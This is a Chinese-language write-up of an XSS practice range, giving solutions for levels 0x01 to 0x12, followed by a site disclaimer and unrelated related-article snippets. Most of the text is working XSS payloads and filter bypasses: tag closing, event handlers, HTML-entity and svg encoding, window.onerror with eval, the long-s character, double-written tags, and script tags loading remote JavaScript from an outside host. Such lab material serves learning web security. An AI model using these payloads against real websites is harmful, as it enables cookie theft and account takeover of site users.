XSS中级漏洞(靶场)

目录

一、环境

二、正式开始闯关

0x01

0x02

0x03

0x04

0x05

0x06

0x07

0x08

0x0B

0x0C

 0x0D

0x0E

​ 0x0F

0x10

0x11

0x12


一、环境

在线环境(gethub上面的)

alert(1)

二、正式开始闯关

0x01

源码:

思路:闭合标签注入

</textarea><script>alert(1)</script>

0x02

源码:

思路:跟上一题一样

1" onclick="alert(1)

也可以用户不参与去触发给后面加一个标签就可以了

1"><script>alert(1)</script>

0x03

源码:

思路: 有一个正则把括号过滤掉了,用html实体转码

很明显不行,那试一下<a>标签

<a href="javascript:alert&#40;1&#41;">aaaaa</a>

很容易过了

原因:编码是有顺序的,urlcode-->html实体编码--->unicode实体编码

第二种方法:括号替换

<script>alert`1`</script>

0x04

刚才第三关的第一种做法是照样绕过的

svg标签是照样绕过的

<svg><script>alert&#40;1&#41</script></svg>

 svg和html是不同的命名空间,在svg中script是可以实现一个实体编码的

还有一种方法Windows.oneror

<script>window.onerror=eval;throw'=alert\u00281\u0029'</script>

throw是抛异常的,我们再用eval接到,在throw下可以支持符号编码 

0x05

闭合输出

--!><script>alert(1)</script>

0x06

利用点:html支持换行

因为on和等号是整体所以加了等号

onclick
=alert(1)

还有一种用户不参与的方式

type=image src=1 onerror
=alert(1)

0x07

利用html自动纠错

<img src=1 onerror="alert(1)"

<svg/onload="alert(1)"

0x08

源码:

解法:固定过滤,利用空格

0x09

一个小技巧

https://www.segmentfault.com.haozi.me/j.js

很明显

0x0A

跟上一关一样,解析顺序,解析的时候已经被实体编码转译了

0x0B

我们正常操作无法绕过直接进行实体编码,直接也就过了

</h1><svg><script>&#x61;&#x6c;&#x65;&#x72;&#x74;(1)</script>

单标签也可以绕过

<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

0x0C

单标签也可以绕过

<img src=1 onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

双写也可以绕过

<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>

 0x0D

技巧:写在前面可以注释,写在后面无法注释了


alert(1)
-->

0x0E

技巧:字符替换

长s字符:ſ

<ſcript src="https://www.segmentfault.com.haozi.me/j.js"></script>

 0x0F

原理:先编码再解码

');alert('1

0x10

先闭合掉

1;alert(1)

0x11

利用替换两个反斜杠

");alert("1

0x12

转义符没有被过滤

\"); alert(1); //

第二种方法:通过闭合前面script标签来再输入script标签

</script> <script>alert(1)</script><script>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/499591.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue.js+SpringBoot开发电子元器件管理系统

目录 一、摘要1.1 项目简介1.2 项目录屏 二、研究内容三、界面展示3.1 登录&注册&主页3.2 元器件单位模块3.3 元器件仓库模块3.4 元器件供应商模块3.5 元器件品类模块3.6 元器件明细模块3.7 元器件类型模块3.8 元器件采购模块3.9 元器件领用模块3.10 系统基础模块 四、…

网络工程师笔记3

IP地址类型 A类 255.0.0.0B类 255.255.0.0C类 255.255.255.0D类 E类 子网掩码&#xff1a;从左到右连续的确定网络位 2-4-8-16-32-64-128-256 128 &#xff1a; 1000 0000 64 &#xff1a; 0100 0000 32 &#xff1a; 0010 0000 16 &#xff1a; 0001 0000 8 &am…

Ubuntu整系统迁移到另一个硬盘中

以ubuntu20.04为例&#xff0c;之前使用的是1T的移动硬盘&#xff0c;每次进入后性能不太稳定&#xff0c;所以最近买了块1T的固态硬盘给我的笔记本装上了&#xff0c;但是如果重新进行各种软件安装及环境配置就太麻烦了&#xff0c;所以采用了系统迁移 1.首先制作一个Ubuntu系…

hcip交换

交换机功能 无限的传输距离——识别&#xff0c;重写电信号&#xff08;帧&#xff09;保证信息完整彻底解决了冲突二层单播——MAC地址表提高端口密度 单播地址&#xff1a;MAC地址第一个字节第8位为0 组播地址&#xff1a;MAC地址第一个字节第8位为1 广播地址&#xff1a;全1…

面试数据库篇(mysql)- 11主从同步

原理 MySQL主从复制的核心就是二进制日志 二进制日志&#xff08;BINLOG&#xff09;记录了所有的 DDL&#xff08;数据定义语言&#xff09;语句和 DML&#xff08;数据操纵语言&#xff09;语句&#xff0c;但不包括数据查询&#xff08;SELECT、SHOW&#xff09;语句。 复…

走进中国电车领跑企业“NI蔚来”丨共谋商业,共话ESG

期盼与热望将冬季的寒冷拂去&#xff0c;复旦大学-华盛顿大学EMBA项目迎来了一位新朋友——美国圣路易斯华盛顿大学奥林商学院的新任院长Michael Mazzeo教授。Mazzeo院长在上海进行了为期3天的访问。这里是 Mazzeo院长上任后国际访问交流之旅的第一站。      漫步校园&…

工作流软件平台服务商教您如何提高办公效率

想要提高办公效率&#xff0c;是很多企业的发展梦想。作为工作流软件平台服务商&#xff0c;流辰信息一直在低代码技术平台领域深耕细作&#xff0c;围绕客户需求和市场发展坚持自主创新&#xff0c;不断超越自己&#xff0c;成功向市场推出多款优秀的低代码技术平台产品&#…

c#打印BarTend标签提示:具名数据源没有cuckoo*具名数据(解决)

c#打印BarTend标签提示&#xff1a;具名数据源没有cuckoo*具名数据&#xff08;解决&#xff09; 今天咕咕更新打印模板的时候遇到的问题&#xff0c;就是在模版中配置了字段名&#xff0c;但是启动c#应用&#xff0c;后端发送json数据打印的时候c#报错提示&#xff0c;没有在…

【C语言基础】:深入理解指针(一)

文章目录 一、内存和地址1. 内存2. 如何理解编址 二、指针变量和地址2.1 取地址操作符(&)2.2 指针变量和解引用操作符(*)2.2.1 指针变量2.2.2 如何拆解指针变量2.2.3 解引用操作符 2.3 指针变量的大小 三、指针变量类型的意义3.1 指针的解引用3.2 指针 - 整数3.3 void*指针…

[MYSQL数据库]--mysql的基础知识

前言 作者&#xff1a;小蜗牛向前冲 名言&#xff1a;我可以接受失败&#xff0c;但我不能接受放弃 如果觉的博主的文章还不错的话&#xff0c;还请点赞&#xff0c;收藏&#xff0c;关注&#x1f440;支持博主。如果发现有问题的地方欢迎❀大家在评论区指正 目录 一、数据库…

面试官:说说Vue 3.0中Treeshaking特性

&#x1f469; 个人主页&#xff1a;不爱吃糖的程序媛 &#x1f64b;‍♂️ 作者简介&#xff1a;前端领域新星创作者、CSDN内容合伙人&#xff0c;专注于前端各领域技术&#xff0c;成长的路上共同学习共同进步&#xff0c;一起加油呀&#xff01; ✨系列专栏&#xff1a;前端…

【嵌入式学习】网络编程day0229

一、思维导图 二、练习 TCP通信 服务器 #include <myhead.h> #define SER_IP "192.168.126.42" #define SER_PORT 8888 int main(int argc, const char *argv[]) {int wfd-1;//创建套接字if((wfdsocket(AF_INET,SOCK_STREAM,0))-1){perror("error"…